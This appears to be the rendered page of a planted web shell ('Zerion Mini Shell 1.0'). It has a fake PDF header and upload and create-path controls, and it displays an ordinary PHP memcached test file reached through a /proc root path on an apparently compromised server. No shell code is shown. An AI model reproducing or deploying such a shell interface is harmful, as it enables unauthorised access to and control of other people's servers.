%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/usr/share/tests/pear/memcached/tests/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/usr/share/tests/pear/memcached/tests/pr_75.phpt

--TEST--
Wrong return values for binary protocol
--SKIPIF--
<?php include "skipif.inc";?>
--FILE--
<?php
include dirname (__FILE__) . '/config.inc';
$client = memc_get_instance (array (
								Memcached::OPT_BINARY_PROTOCOL => true
							));

$client->set('key1', 'value1');
echo "set result code: ".$client->getResultCode()."\n";

$value = $client->get('key1');
echo "got $value with result code: ".$client->getResultCode()."\n";

var_dump ($client->add('key2', 'value2'));
echo "add result code: ".$client->getResultCode()."\n";

echo "OK\n";

?>
--EXPECT--
set result code: 0
got value1 with result code: 0
bool(true)
add result code: 0
OK

Zerion Mini Shell 1.0